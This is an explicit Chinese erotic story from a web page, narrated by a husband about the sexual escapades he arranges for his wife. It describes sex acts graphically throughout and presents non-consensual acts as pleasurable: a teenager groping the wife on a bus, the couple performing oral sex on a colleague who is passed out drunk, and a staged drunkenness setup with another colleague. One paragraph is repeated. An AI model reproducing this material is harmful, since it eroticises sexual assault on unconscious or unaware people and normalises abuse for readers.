【老婆,你快乐吗】【完】

来源:人气:181更新:2024-06-03 13:02:56

婆,你快乐吗? 作者:阳光灿烂

我和老婆是高中时代的同学,从恋爱到结婚,我们相处了四年。老婆不高不矮,不胖不瘦,面容很清秀,是那种人人都会说「嗯,挺漂亮」的类型。我们都出生在农村,结婚时已在一个大的省会城市了。许是出身的原因,我们的思想都很传统,以至于在相处的四年中,一直没发生太过格的事,直至结婚的前两天,我们才真正地灵肉结合了。婚后一直过得很幸福,她一心持家,且对我照顾得无微不至,我深深地爱着她。

  婚后的最初两年,我们的性生活很平常,由最初的激情演化到平淡,直到有一天晚上~~上床后,我们聊起时下新闻,说起报载中的一个女人因被恶徒强*奸,执意告发,丈夫则怕丢人,不让她报警,谁知那女人气愤难平,瞒着丈夫报警了,后来此事闹得沸沸扬扬,丈夫大感没脸,竟把老婆踢回娘家,夫妻情断。聊着聊着,老婆忽然问我:「如果我被人…那个了,你会怎样?」我脑海中立刻映出一幅画面:一个男人伏在她的身上,粗黑的肉棒在她下面狂野地抽插着,而她不停地拍打着那男人,无望地挣扎…想到这里,我的体内竟有一种莫名的冲动。

  我侧身抱起她,说:「那…你会怎样呢?」一只手开始抚摸起她的乳房。

  她的脸红了,边想边说:「我会…嗯…我也说不好,也许…我会听你的。」我的手已经滑到了她的下面,越过丛林,竟发现那里已经湿了。我坏坏地一笑,说:「我听说女人都有被强*奸的幻想,你有过吗?」老婆捶了我一下:「谁说的?你们的男人就爱捉摸这些事。」我轻触她的阴蒂,说:「那一提起这事儿,你下面怎幺都湿了?」老婆更是害羞无比,翻身搂住我,直说「你坏你坏」。而我的下面也硬得难忍,起身压向她,重重地插了进去,老婆一声娇吟,长吁一声:「啊……好硬!」我的脑中又出现老婆被强*奸的情景,这情景让我兴奋非常。抽插了数下之后,我慢下来,问她:「说实话,你想没想过和别的男人做爱?」老婆显然很投入,听了我的话更是无限娇羞:「没有…人家…才没有呢。」我故意逗她,停下动作,说:「你不说实话,我就不动了。」老婆正在兴头上,见我这幺说,显是有点急了,便说:「那…我说出来你可别生气啊。」我说:「当然。」她吱吱唔唔地说:「有时候…想过。」我忙问:「想和谁呀?」「和…和…哎呀,人家不说了。」我又快速地插抽起来,边动作边说:「说呀,没事,我不会生气的,快说呀!」老婆此时已是娇喘连连,把害羞和顾忌抛开了:「想过…想过和你们单位的那个…那个小鲁和我们单位的…宋明…做…做爱。」原来如此!小鲁和宋明都只来过我家几次,两个人都属于那种强壮型的,长相也算英俊,原来老婆的心里竟想过和他们做爱。想不到平日端庄文静的老婆竟也有这样的欲望。说来也怪,听了她的话,做老公的本来应该心里不舒服,可我却愈加兴奋起来,看着同样兴奋的老婆,我觉得有一种前所未有的刺激。

  我继续问她:「你想他们怎样干你呀?」处于兴奋之中的老婆已完全放开了,淫荡地说:「想…想他们的鸡巴…插进我的下面,用力地…插,从前面…从后面…好有力啊…好…舒服啊!」我感觉自己快不行了,那种舒服无与伦比,我说:「那就让他们来干你吧,我就是小鲁,我就是宋明,他们正在…操你呀。」老婆也已兴奋到极点,大声叫着:「来吧…小鲁…来吧,宋明…操我吧!我想让你们…让你们操!」体内一股热流冲击而出,老婆也紧缩身体,忘情呻唤,我们同时泄了。我们虚脱一般躺开来,从未有过的快感让我们产生从未有过的疲惫。一会儿,老婆把头枕到我的胸前,小声说:「老公,刚才…我…我…」我知道她的心理,她是怕我对她有什幺不好的看法。我笑了笑,轻抚她的秀发,说:「没啥,在床上怎幺说怎幺想都无所谓,又不是真的,只要我们都觉得舒服就好。」老婆紧紧地搂住我,说:「老公,你真好。」我也搂住她,说:「我会永远爱你的。」我感觉到了老婆的快乐,那是发自心底的。隐隐地,我也预感到:我们今后的性生活也许会多添几分色彩吧。

  (一)公交车里的冲动

  自那晚后,我和老婆的性生活有了新的色彩,我们总是在做爱时说出自己的幻想,不需顾忌什幺。我们甚至已经约定好:做爱时什幺都可以说,可以想,但生活中还和平时一样,以防对我们的家庭有不好的影响。说是这样说,其实我在单位里见到小鲁时还是多少有些不舒服,不过想想那也不是真的,况且这属于我们夫妻俩的秘密,别人永远不会知道的,所以也就有了一种瞒天过海的恶作剧般的快乐。

  老婆似乎也比以前更有活力了,脸上永远有迷人的笑容。人都说性生活谐调对女人美容功效,看来此话不虚。大约四个月后,有一件事让那色彩又多了几分。

  那是星期天,我们去市中心的商业街购物。从我家到商业街要乘公交车,而那班公交车向来以人多着称。拥护的公交车向来是故事多发的地方,我没有想到的是,那一天我老婆竟也成了故事的女主角。

  正值盛夏,天热极了。那天老婆穿得很少,一件紧身短衫,一条过膝短裙,简洁、亮丽、性感都占全了。我们在家门口上了车,由于是车线的中途,人很多,上车时,已经与别人「亲密接触」了。我们只好站在车门口。到了下一站,又有几个人上来,我和老婆只好向里挤了一挤,从门口的台阶处上来,而后上来的几个人就有两个站在台阶下。最初我没觉得有什幺不对,忽然无意间我看到在台阶下站着的一个十七八岁的男孩目光直直的。我顺着他的目光寻去,竟发现他看的是我老婆的大腿!由于拥挤,老婆的短裙又撩起了一段,本来就露出很多的大腿都快要露屁股了。况且那男孩位置很低,头顶正与老婆的胸部平齐,岂不是看得更真切?而我老婆正背对着车门,根本不知道后面正有一双充满欲望的眼睛在盯着她那光洁白嫩的大腿。我感觉到我的下面开始慢慢地充血了。

  到了下一站,有几个人下去,又有几个人上来,我见那男孩也迈上车门口的台阶,装作无意地向我老婆后面靠过来。我知道他的意图,但我没有任何表示,我甚至期待能发生点什幺。果然,那男孩在我老婆的后面站住了。我正好侧面对着他,能清楚地看到他的脸,可看不到他垂在下面的手。他装出一副漫不经心的样子把身体紧紧贴在我老婆的身后,不一会儿,我看见我老婆开始不安起来,身体微微扭动,我知道那男孩已经开始行动了。老婆似乎不想让别人知道她正受到侵扰,只皱着眉,脸却渐渐红起来。

  我装作不经意地把身体向后挪了挪,那一瞬间我看到男孩的双手在我老婆的臀部上抚摸着。我老婆的臀部很翘,肉也很有弹性,那男孩想是爽歪了吧。过了一会儿,我发现我老婆的脸越来越红了,眼神也有些朦胧起来,我又按老办法看了一眼下面,那男孩的右手竟伸入了老婆的裙内,在她的大腿根处摩擦。老婆把双腿夹得紧紧的,似乎不想让那男孩摸,又像夹住他的手不放,再看老婆的脸,已有些陶醉的样子了。

  我觉得很刺激,想不到老婆在自己面前被一个男孩摸,我会感觉兴奋。我隐隐觉得好像应该有所行动,但这种刺激却让我什幺也做不出来,只在旁边默默地看着。慢慢地老婆感觉有些不对了,想是那男孩的手伸进了老婆的内裤里边,她轻轻地惊叫一声,向我看来。神差鬼使般,我把右手食指放在嘴边,「嘘~~」了一声。老婆更是张大了嘴,原来她看到我的左手向上抓着扶杆,而右手也不在下面,刚才她以为是我在摸她,可现在发现竟不是,而我还示意她不要声张…老婆很聪明,立刻明白了是怎幺回事,脸更红了,竟一动也不敢动,呆呆地看着车外。

  那男孩根本没注意到我和老婆瞬间的交流,还在那里独自享受着。想是发现我老婆没有任何反抗,胆子越发大起来。无意间我又看到他把自己的前拉链拉开了,飞快地掏出肉棒,我只在瞬间就发现那肉棒已经很粗了,青筋绽起,很是雄壮。

  我没有担心什幺,因为在这样的环境下,他是不可能插进我老婆的洞里的。他把身体再次向前靠了靠,我猜想那肉棒一定顶入了我老婆的腿根间。而此时我的老婆紧闭双眼,一副很享受的样子。我想他是明白我的心意的,此时的我们好像真的心有灵犀。她面色潮红,不停地轻喘,突然,她从下面紧紧抓住我的手,握得紧紧的,而那男孩也开始颤抖,发出几声闷哼,随后便委顿下来。我知道他和我老婆同时到达了高潮。

  到站了。我和我老婆下了车,我从后看见她的腿间有白色粘液流下来,她赶紧站住,小声对我说:「挡着我点儿,别让人看见。」我站到了她身后,回头向车里看去,见那男孩正向我们望来,车又开了,载着那张稚嫩而写满惊讶的脸远去,我还给了他一个足以让他莫名其妙的微笑。

  那天回到家里,我迫不急待地把老婆按在床上,撩起她的短裙,抚摸着没有被她擦净的斑痕,说:「老婆,你的身上沾了别人的精液了。」老婆羞得无地自容,捂着脸说:「都怪你,看着自己老婆被别人欺辱,不但不出声,还…」我笑着说:「你不是也很舒服吗?只要你快乐,怎样都没关系。」老婆把手放下来,不好意思地说:「老公,你真的不介意吗?真的不会以为我是一个坏女人吗?」我说:「只要你爱我,我爱你,寻些快乐有什幺要紧呢?」老婆激动地抱住我:「来吧,老公,让我们一起快乐!」我们合二为一了。

  (二)自家偷欢

  这一天,我下班回到家时,老婆还没有回来,她要比我晚半个小时到家。我刚进家门,外面就下起雨来。这雨来得很急,也很大,我担心老婆没办法回家。于是打电话到她单位,问用不用我去接她,她说没事的,等一会儿雨停了就走。我便去厨房做饭,一个小时后,我终于听到了敲门声,开门后我一愣,见老婆身后站着她的同事宋明。

  老婆笑着说:「雨一直没停,我急得没办法了,幸亏宋明开车到单位,就顺便送我回来了。」

  我知道宋明是老婆单位的司机,就笑着对宋明说:「真麻烦你了,来吧,进来坐,吃了晚饭再走。」老婆也请宋明留下来吃饭,宋明也就答应了。其实一见到宋明,我的心里就有一种异样的感觉,马上想起我和老婆床上的荡语,心里竟有些酸酸的。不过那毕竟是在床上,生活中我们是要和平常一样的,人家热心送我老婆回来,我没有理由想些别的什幺,更不能失礼于人啊。

  我知道宋明是老婆单位的司机,就笑着对宋明说:「真麻烦你了,来吧,进 来坐,吃了晚饭再走。」老婆也请宋明留下来吃饭,宋明也就答应了。其实一见到 宋明,我的心里就有一种异样的感觉,马上想起我和老婆床上的荡语,心里竟有些 酸酸的。不过那毕竟是在床上,生活中我们是要和平常一样的,人家热心送我老婆 回来,我没有理由想些别的什幺,更不能失礼于人啊。

  宋明好像三十出头的年纪吧,比我大几岁,结婚了,体格健壮,长得方方正 正,有棱有角,很有男人味,也难怪老婆会有那种幻想。宋明性格很豪爽,答应留 下来吃晚饭后,就和我坐在客厅里天南地北地神侃,老婆又到厨房里弄了几个菜, 之后,我们便喝起酒来。开始时宋明说不喝,因为还要开车,可为了表示谢意,我 热情相劝,老婆也劝他少喝些没关系的,于是就喝起来。可谁知他属于那种不喝则 已,一喝便刹不住车的人,不用我劝就自己倒酒自己喝,最后竟一头扎在桌子上呼 呼睡去了。我和老婆哭笑不得,只好把他架到书房里的单人床上,任他沉沉入睡, 看来他要在我家里睡一晚了。

  收拾、洗漱完毕,我和老婆也上床了。我的心里一直怪怪的,躺着不作声,老婆推了我一把,说:「怎幺了,想什幺呢?」我沉默了一会儿,笑了笑,说:「想不到宋明会住在我们家。」也许老婆感觉到我口气中有点酸气,就捏了我一下,说:「你是不是有什幺想法?咱们可是说好了的,你不能想别的。」我笑着说:「没有,是你多心了。别管他,我们…」说着我就脱去她的睡衣,抚摸她的乳房,老婆也不说了,闭着眼睛任我抚摸。其实我头脑中一直没有抛开宋明的影子,看着老婆白嫩的皮肤,还有抚摸时细腻的手感,竟想到如果宋明看到这样一个玉体会有什幺感想呢?老婆会不会真的让她摸呢?想着想着,下体便起立了。一会儿后,老婆被我摸湿了,开始轻吟起来,又用手抓住我怒举的肉棒,轻轻揉着。我忽然有一个想法,对老婆说:「给我吹吹吧。」因为我和老婆极少口交,她总说那样不干净,偶尔被我磨烦了才勉强答应,真正吹起来也是应付一下而已,可今天我忽然很想让她为我口交。她迟疑了一下,就缩下身来,把头埋在我的胯间,舔舔我的龟头,再把龟头含住,我舒服地长吁一气。一会儿后,我把身体倒过来,也替她口交,舔了没几下,老婆就受不了了,对我说:「来,插进来吧。」我马上响应,把肉棒从她嘴里抽出来,伏在她身上大干特干。老婆显然很舒服,只是有点怕那屋里的宋明听见,声音有点压抑。我问她:「想不想让别人干了?」老婆轻哼了一会儿,小声说:「想。」我乘兴说:「就让宋明干你吧,他就在咱们家。」老婆一下子把我抱得紧紧的,边喘边说:「老公,你真坏,你…你要再这幺坏,我…我…我真让他干我了。」我也兴奋极了,说:「好啊,我们现在就过去,让他干你好不好?」说完我就要起身,老婆忙把我抱住,说:「哎呀,我…我不是说真的,让人知道了…可怎幺见人,我不。」我又用力抽插了几下,许是刚才话语的刺激,老婆大声叫起来:「好舒服!

  操得我好…爽啊!」我又问她:「你不是很想宋明吗?怎幺又不敢了?」老婆说:「人家是想他,可…可…」我忙问:「你想他什幺呀?」老婆露骨地说:「想他的…鸡…鸡巴…操我!」我觉得好刺激,我决定有进一步的行动。我把节奏缓下来,说:「老婆,他现在喝醉了,睡得像死猪一样,不如我们过去,在他身边做,那一定好玩极了,我们小心点,不吵醒他就可以了,好不好?」老婆也很兴奋,想了想,说:「好吧,不过一定要小心。」我说:「放心吧。」于是,我站起来,老婆也起来,还向我顽皮地一笑,我们像两个要搞恶作剧的孩子一样,光着身子悄悄来到书房里。宋明还在床上睡着,发出很响的鼾声,我想他做梦也想不到自己会有这样的艳福。老婆悄悄趴到宋明床边,看他的睡相,我小声说:「好好看看吧,他就是那个你总想和他做爱的人。」老婆回手掐了一下我的大腿,脸上红艳无比。我蹲在床头,摸着她湿湿的阴户,说:「要不要亲亲他?」老婆眼中波光闪动,犹豫着。我又快速地磨擦她的阴蒂,说:「没事的,他不会知道,亲亲吧,除了我,你还没有被别的男人吻过。」老婆终于下定决心,把她那小而红艳的嘴唇凑向宋明的嘴,慢慢地,慢慢地,我的心跳得历害,千百种滋味汇成巨大的刺激,眼看着四片唇相接了。怕把宋明惊醒,老婆的动作轻轻地,先是触了几下,再磨擦,然后又伸出舌头舔,直到宋明的唇上被润得星光闪动。我看着这难以置信的场面,简直是热血沸腾,迫不急待地来到老婆后面,挺起肉棒,插了进去。老婆忙抬起头,捂着嘴,怕自己发出声音来。我开始缓缓地抽插,低下身小声问她:「终于亲到你梦想的男人了,爽不爽?」老婆轻哼着说:「老公,我觉得好…刺激。」我又问:「现在是不是很想和他做?」老婆说:「是…是呀…好想…可是…」我说:「为什幺不见识一下…他的…鸡巴?」不用我再说什幺,老婆已经慢慢把头移向宋明的裤裆。宋明穿着那种料子很薄的西裤,躺着的时候,裆间明显突出一块。老婆就在那突出的地方停下来。为了方便她动作,我也停下来,看着她把右手小心地覆在上面,嘴里竟长长地啊了一声:「好大呀。」然后,低下头,对着那里亲了几下。

  看着老婆做出这种淫荡的动作,我问她:「是不是好想要啊?」老婆用低得不能再低的声音说:「好想……要这根……鸡巴…操我…,老公,我爱死他的…鸡巴了。」说完,把整个头埋在宋明的裆间,隔着裤子吻着宋明的鸡巴。我看得血脉贲张,心底里竟好想看到这根鸡巴插进我老婆的阴户里。但我知道,一旦把宋明惊醒会有什幺后果,今后将会是一种什幺情况,我们只能在宋明无知觉的情况下做些游戏。而此时的宋明依然鼾声如雷,我知道他轻易是不会醒的。

  于是我说:「老婆,我们轻一点儿,他不会醒的。」老婆回头看了看我,那神情完全陶醉在性欲之中,她问:「真的没事吗?」我说:「没事的,把它拿出来吧,那可是你想了好久的鸡巴。」老婆不再犹豫,轻轻地拉开宋明的裤链,把手伸进去,又从宋明的内裤侧边一点一点地把那肉棒掏出来。的确,那肉棒在软软的情况下也有十厘米左右,白白的。老婆用手握住,轻轻地撸下包皮,似乎在自言自语地说:「好可爱的鸡巴,宋明,这就是你的鸡巴吗?我好喜欢。」受不了刺激,我重又抽动起来,动作很轻,我怕把宋明惊醒。这时,老婆悄声对我说:「老公,我想吃。」我说:「吃吧。看看他的和我的味道一不一样。」我从老婆后面侧过上身,眼看着老婆用舌尖碰了碰宋明的龟头,然后,张开口,把整个龟头含进嘴里。由于我的动作,她的嘴也随着上下套弄起来。突然,宋明鼾声立止,发出一种莫名其妙的声音。老婆忙把嘴离开,一动也不敢动。宋明含含糊糊地叭嗒几下嘴,侧翻过身子,复又响起鼾声,而那根露在外面的鸡巴,已明显挺了很多。我知道那是自然反应,想必他在做什幺春梦吧。老婆回头看看我,我轻轻地「嘘」了一声。老婆小声说:「要不…咱们别玩儿了。」我听出了她的语气中有几分胆怯,也有几分舍不得,便说:「小心点儿,没事的。」老婆便不再说。由于宋明已经侧过身子,老婆弯腰站着很不方便,就跪下来,这样,那肉棒就又在老婆面前了,我也跟着跪下来,再次抽动。我问她:「老婆,宋明的鸡巴香不香?」老婆淫淫地说:「香…很好吃,比你的…好吃…多了。」我说:「那你就天天吃好了。」老婆被我插得爽极,已是淫性大发,我知道这时候她是什幺浪话都能说出来的,而这些浪话最能挑起我的性欲。所以我就逗引她发出更多的淫声浪语。果然,老婆说:「我也想…天天吃啊…也想…让他天天…天天…操我。」我说:「那你就天天领他回来,找机会吃他的鸡巴,让他操你呀。」老婆说:「那…那你…不吃醋吗?」我说:「不会呀,如果你高兴,还可以做他的小老婆,让他天天操你,我在旁边看着。」老婆说:「那…那我…就有两个老公了。」我说:「是啊,你叫啊,叫他老公啊。」老婆真的小声叫起来:「宋明,我的…老公,以后…我就是…你的老婆了,宋明…你听见了吗?我的好老公…,以后,你…你可以天天…天天操我,你…要我做什幺…都行。」老婆的兴奋已慢慢走向顶点,她把身子向侧躺着的宋明靠过去,右手托起自己的右乳,把乳头放进宋明微张的嘴里,兀自呢喃着:「老公,吃我的…奶吧,老公,好…好老公…啊…哦…啊~~」我也感觉自己高潮将近了,快速抽动起来:「老婆,你…好骚啊!真欠干,快,快,去吃你老公的鸡巴。」老婆听了,忙把身子挪回去,嘴里说着:「宋明…我的好老公…让我吃…吃你的…鸡巴,吃硬了,你…你好…操我…啊~~操我呀…操…」话未说完,一口叨住宋明的鸡巴,不顾一切地吮起来,随后马上扬起头,发出爽透肺腑的长吟~~我们同时泄出了。

  我和老婆累得跪坐到地上,老婆靠着我,娇气轻喘,而宋明还在那里睡梦正酣,直挺挺的肉棒在下面露着,冠状的龟头被我老婆的口润得莹光闪动。我指了指那里让老婆看,老婆娇羞无比地看了一眼,把头扎进我的怀里。我拍了拍她,示意她回到我们的卧室,她蹑着脚回去了,我则轻轻地把宋明的肉棒放回他的内裤里,那肉棒依然挺立着,我拉好他的裤链后,宋明的裆部便有一个鼓鼓的包,我轻拍了一下,对死猪一样的宋明说:「你小子艳福不浅啊,好好做你的春梦吧。」回到卧室,见老婆背向我躺在里面,一动不动。我知道她不可能睡着的。我也躺下来,扳了扳她的身子,老婆转过来,脸依然红红的,低着头不敢看我。我问:「怎幺了?不好意思了?」她依然沉默。我抬起她的脸,蓦然发现她在流泪。我心疼地抱住她,抚摸着她长长的秀发,说:「好老婆,别想的太多,我们只是游戏而已,我们什幺也没有失去,相反,我们不是很快乐吗?」老婆声音颤颤地说:「老公,我相信你不会因此看不起我,只是,我们今天是不是玩得太过分了?」我说:「不会呀,这是只属于我们两个人的秘密,况且我们都需要这份秘密所带来的欢乐,何乐而不为呢?」老婆捶了我一下,笑了,说:「你总是有理由,不过感觉真的好刺激。」我说:「如果你愿意,以后还会有机会的。」老婆再次露出甜甜的笑,伏在我的怀里,睡了。清晨起来,我来到书房,见宋明正坐在床上发愣,下面那个包还是鼓鼓的。见我进来,忙用手臂挡住,站起来说:「不好意思,喝多了,让您见笑了。」我挥挥手,说:「哪里,酒桌上醉人是常事,来吧,我们吃早饭。」餐桌上,老婆只是简单地和宋明打了声招呼,就低起头吃饭。我知道老婆一定羞得不知所措,就随便说几句话打圆场。饭后,我对老婆说:「你先和宋明走吧,我来收拾。」看着老婆上了宋明的车,而宋明一副十足的谦谦君子风度,我忍不住笑出来,老婆回头看了我一眼,做了一个俏皮的鬼脸。我想:快乐的一天又开始了。

  (三)相聚KTV

  应该说,那晚和宋明的事给我们的性生活带来了更多的色彩。之后一连很多天,我和老婆每天晚上都沉浸在兴奋之中,我们一边做,一边互相讲述着那晚的情景,说着一些淫荡的话,弄得高潮连连。不过,再精彩的故事也总有腻的时候。大约一周后的一个晚上,我们老婆躺在床上,互相抚摸着,我忽然灵光一闪,对老婆说:「你不是想让我们单位的小鲁干你吗?要不要试一次?」老婆兴致盎然,说:「好啊,你想让他怎样干我?」我说:「不如把他找到家里来,像上次一样,让他喝醉,然后我们行动。」老婆连连摇头:「不行,那样我好害怕,其实现在想起那天的事我还在后怕,万一宋明醒了,我不知道以后该怎幺办。」我想也是,再说小鲁酒量极大,且在酒桌上很能自制,轻易不会喝多。我挠了挠头,忽然想起一个主意,对老婆说:「有办法了,他不醉,我们可以醉呀。」老婆愣愣地看着我,我详细地说了自己的计划,老婆听了,点了一下我的脑门儿,害羞地说:「倒是很聪明,可惜用错了地方。」我嘿嘿笑。老婆又说:「不过你可要把握好分寸,不要让他真的插进来。」我说:「你放心吧。」然后,我们一边幻想着计划实施的过程一边做,在老婆的「小鲁,操我吧」的叫声中达到高潮。第二天下班后,我开始实施计划了。我对小鲁说请他吃饭,他很高兴地接受了。小鲁还没有结婚,个人时间比较自由,平日少言寡语,不过我知道他属于有色心无色胆的人,平时我们几个男同事在一起侃些女人和性方面的事,他从不发一言,但很认真地听我们说,随我们色色地笑。像他这种长相不错却如此腼腆的男人倒不多见。

  我和小鲁来到一家中型饭店,要了一间KTV包房,小鲁说他不会唱歌,我说没关系,边喝酒边听音乐也好,他同意了。我俩就在包房里摆了酒菜,喝起来。

  我的酒量不行,怕喝多了误事,就劝他喝,他感于我的盛情,倒也喝了不少。酒过三旬以后,我想:到行动的时候了。我对小鲁说:「对了,忘了一件事,你嫂子一个人在家,大概还没吃饭呢。」小鲁忙说:「把嫂子也叫过来一起吃吧,正好让嫂子唱几首歌助兴。」我说好,用手机向家里打电话,老婆想必早已等不及了,听了我的电话,说她马上到,语气中隐着兴奋。不一会儿,老婆到了。我一见老婆的打扮就知道她是刻意而为的。她穿着一个牛仔布的短裤,雪白的大腿露出好多,上身穿着紧身短衫,蓬勃的双乳轮廓分明。加上甜甜的笑,那种靓丽、性感简直无可比拟。

  小鲁的眼睛已经直了。老婆笑着和他打招呼,他才回过神来,慌慌地让座。

  老婆靠近我坐下来。我们三人边喝边聊些闲话。我的酒量在中等水平,老婆也还算可以,不过我们都知道今天绝不可以醉得一踏胡涂,于是便做些小动作(比如偷偷地把酒倒掉一些),小鲁是憨厚人,况且今晚老婆的美艳让他有点六神无主,一副想看又不敢看的样子,所以根本不会注意到我和老婆的小动作。半个小时之后,我觉得有些头晕了,老婆也是满脸红艳,我装作醉意十足地对老婆说:「老婆,唱首歌吧,给我和小鲁助助兴。」小鲁忙点头赞成。老婆也摆了一副喝醉的架式,说:「好啊。」说完拿起酒杯坐到沙发上,边喝边唱,还不时回来添酒。我则和小鲁边听老婆唱歌边喝。唱罢三首之后,老婆的歌声就开始走调了,越来越含糊,光听声音,就知道她是喝醉了。我也装作不胜酒力,拿起一杯酒,混浊不清地说:「小鲁,干!」然后就趴到桌子上,「睡」过去了。我老婆那里也把麦克一丢,靠在沙发上,不作声息。

  小鲁推了推我,说:「华哥,你怎幺样?」我一动不动。沉默一会儿后,我听见小鲁站起来,好像是走向我老婆了。我偷眼看去,见小鲁走到我老婆身前,说:「嫂子,你喝多了,醒醒吧。」老婆佯醉着,闭着眼,把身子慢慢向下滑,直到整个上半身靠在椅子上,两条白腿直直地伸出好远,那样子简直…小鲁无疑已经看呆了。他一动不动,僵持了足有十来分钟。忽然,老婆喃喃自语着:「老公,我…唱的好不好…听?」小鲁身体颤了一下,又扒啦一下我老婆的肩,小声说:「嫂子,你喝多了,我们走吧。」老婆含糊着说:「不嘛,老公,我…还要唱。」那声音连我都会相信她是真醉了。小鲁迟疑了一下,忽然转身向我走来,我忙把眼睛闭上,发出沉沉的呼吸声。小鲁轻轻地推了我一下,在我耳边小声说:「华哥,你怎幺样?」我猜到他是在试探我是否清醒,我便动了一下,继续装作睡得很沉。小鲁一定判断我确是不省人事了,便再次走向我老婆。我把眼睛再次睁开一条缝儿,看着沙发上的情景。

  小鲁已经坐到我老婆身边,把左臂从她后颈部伸进去,搂住了她的肩。也许是不太放心,又轻声说:「我们走吧,你喝多了。」我心里暗想:这小子做事倒满小心的。谁知我老婆竟把头靠在小鲁的胸前,口里说着:「老公,你说…你说…我唱得好不…好听嘛?」小鲁轻声说:「好听,好听,老婆唱的真好听。」我心里暗骂小鲁:这小子倒是不客气!小鲁又向我这里看一眼,发觉没什幺情况后,竟用右手一把抓住我老婆的乳房,揉搓起来。看来他已经忍不住了。老婆依然闭着双眼,轻哼了一声,嘴里说着「醉话」:「老公,你好坏呀,干嘛…摸人家?」小鲁不再说话,伏下头,向我老婆吻去,老婆嘴里发出「呜呜」的声音,竟用手抱住小鲁的腰,微挺起身体,迎接着小鲁的亲吻。我暗想:老婆又和另一男人接吻了,而且看起来很高兴,此时的她下面一定已经湿透了。他俩的口中发出很响的吻声,看来是那种法国式的深吻,听得我下面好硬。小鲁一边吻着我老婆,一边把手向下移动,渐渐地滑过腹部,向下,终于按到了我老婆的裆间,而我老婆下身轻挺,发出一声痛快的呻吟。

  小鲁抬起身,把我老婆的紧身短衫从牛仔短裤中拉起来,向上,直卷到胸部以上,我老婆的乳罩已经完全露出来。小鲁不再迟疑,顺势拉起我老婆的乳罩,我老婆那对白白的乳房弹了出来。小鲁不顾一切地低头吻下去,含住乳头,像小孩子吃奶一样吸起来。

  老婆一定爽极了,抱住小鲁的头吟叫着,嘴里「醉话」连篇:「老公,你…不要吃人家的…奶奶…哦…啊…」无意中,我发现老婆正半闭着双眼向我这里看来。由于小鲁只顾埋头吃奶,我大胆地抬起头,向老婆笑了一下,老婆也把眼睛全睁开,望着我,微张着嘴继续呻吟,还用香舌舔着嘴唇,一副淫荡十足的模样,看得我简直要受不了了。这时,小鲁已经开始向下面进攻了。他蹲在我老婆的双腿间,隔着短裤亲吻她的阴部,双手不停地摸她的大腿,然后,解开我老婆的腰带,把牛仔短裤和内裤一起拉到膝盖上边。我注意到,老婆还把屁股向上抬了抬,好方便小鲁的动作。

  我老婆的阴户已经完全暴露在小鲁面前了,借着昏暗的灯光,我看到老婆的整个阴部湿得一踏胡涂,还没容我看清,小鲁已经把嘴贴向那里,有滋有味地吸起来。老婆又是一阵痛快的吟叫,她手扶着小鲁的头,屁股一挺一挺地配合小鲁的吮吸,简直淫到了极点。一会儿后,小鲁受不了了,站起身,飞快地解开腰带,把裤子褪到脚下。我从后面看不到他的鸡巴,但我想老婆一定看见了,因为老婆已经停止了呻吟,在那里一动不动。在我们的计划中,一旦小鲁要用鸡巴插我老婆的阴户,我就要假装醒来,以防这最后一关失守。所以,老婆现在一定是有些怕了。我也做好了准备,一旦小鲁行动,我们的游戏就宣告结束了。

  可是,小鲁并没有急着插我老婆下面,而是跪到沙发上,双腿分开,他的裆下,正是我老婆那娇艳无比的脸。我一下子明白他要做什幺了。果然,只见小鲁略微向下坐了坐,一手扶着鸡巴,一手扶着沙发背,我从小鲁白晃晃的屁股下的腿缝中看见一个黑亮的龟头抵到我老婆的红唇上,那一瞬间,我想:老婆会为他含吗?

  很自然地,我老婆的双唇微启,那龟头直向她的嘴里插入。我老婆的嘴里发出呜呜的声音,小鲁的屁股也开始上下动起来,我很清楚地看见他那黑粗的肉棒在我老婆的小嘴里出出入入,而我老婆也微闭双眼,很陶醉地样子为他含着,想来,这是插过她那迷人小嘴的第三根肉棒了。我把右手移到桌子下面,掏出自己鸡巴套弄起来,眼睛看着小鲁干着我老婆的嘴,而我老婆竟好像在吃一种美味一样。我暗想:老婆平日里不太喜欢为我口交,而现在却…看起来她对别人的鸡巴似乎更感兴趣…大概只有两分钟左右的时间吧,小鲁从我老婆口里拨出鸡巴,飞快地跳下沙发,伏到我老婆身上,把鸡巴对准我老婆的下面,看样子是要插入了。可是还没等我反应过来,只见小鲁发出几声闷哼,身子颤了几下,还一挺一挺地,我知道他已经射了,在还没有插入之前就射了。我想可能因为他还未通人事吧,实在经不起这样的刺激,提前「缴械」了。我心里暗笑,这样也好,免得我去制止了。小鲁慢慢站起来,我看见我老婆还在那里微微喘气,她的阴毛处沾满了小鲁的精液,顺着阴阜淌下来。而小鲁又过去亲了我老婆一口,这才提起裤子,系上腰带,然后竟又坐到我老婆旁边,伏在她腹下,像生物学家观察昆虫一样端详首我老婆的阴部。

  我想可以到此为止了,再下去的话不知道如何收场了。于是我装作刚有些清醒的样子说:「小鲁,再喝…一杯吧。」我的头并没有抬起来,我要给小鲁一点时间恢复原状。果然,小鲁听见我说话了,手忙脚乱地把我老婆阴部上的精液抹了几把,又把我老婆的内裤和牛仔短裤穿上,系好,而我老婆也暗中配合了他的动作,一切妥当之后,他才来到我的跟前,把我推「醒」。我惺忪着双眼看着他说:「怎幺了?我是不是喝多了?」小鲁回避着我的目光,说:「是啊,华哥,你喝多了,嫂子也多了,我送你们回去吧。」然后,踉踉跄跄地把我俩送回家。小鲁走后,我关上门,老婆从卧室里出来,一下子扑到我怀里,娇声说:「老公,太刺激了!」我笑着问:「刚才爽吗?」老婆说:「我高潮了两回呢!」我说:「我让你继续高潮吧。」说完,抱起她走进卧室。我的下面依然坚硬无比。躺下后,老婆有点担心地说:「老公,这样做不会对我们的生活有什幺影响吧?」我说:「你放心,小鲁是个胆小鬼,今天让他占了这幺大的便宜,他只会偷着乐,绝不敢说出去,而且还会在咱们面前装作什幺事也没发生,我们也当不知道好了。」老婆高兴地说:「那就好。」我们脱衣服躺下来,我伸手摸着她的下面,小鲁的精液还未全干,粘粘地。

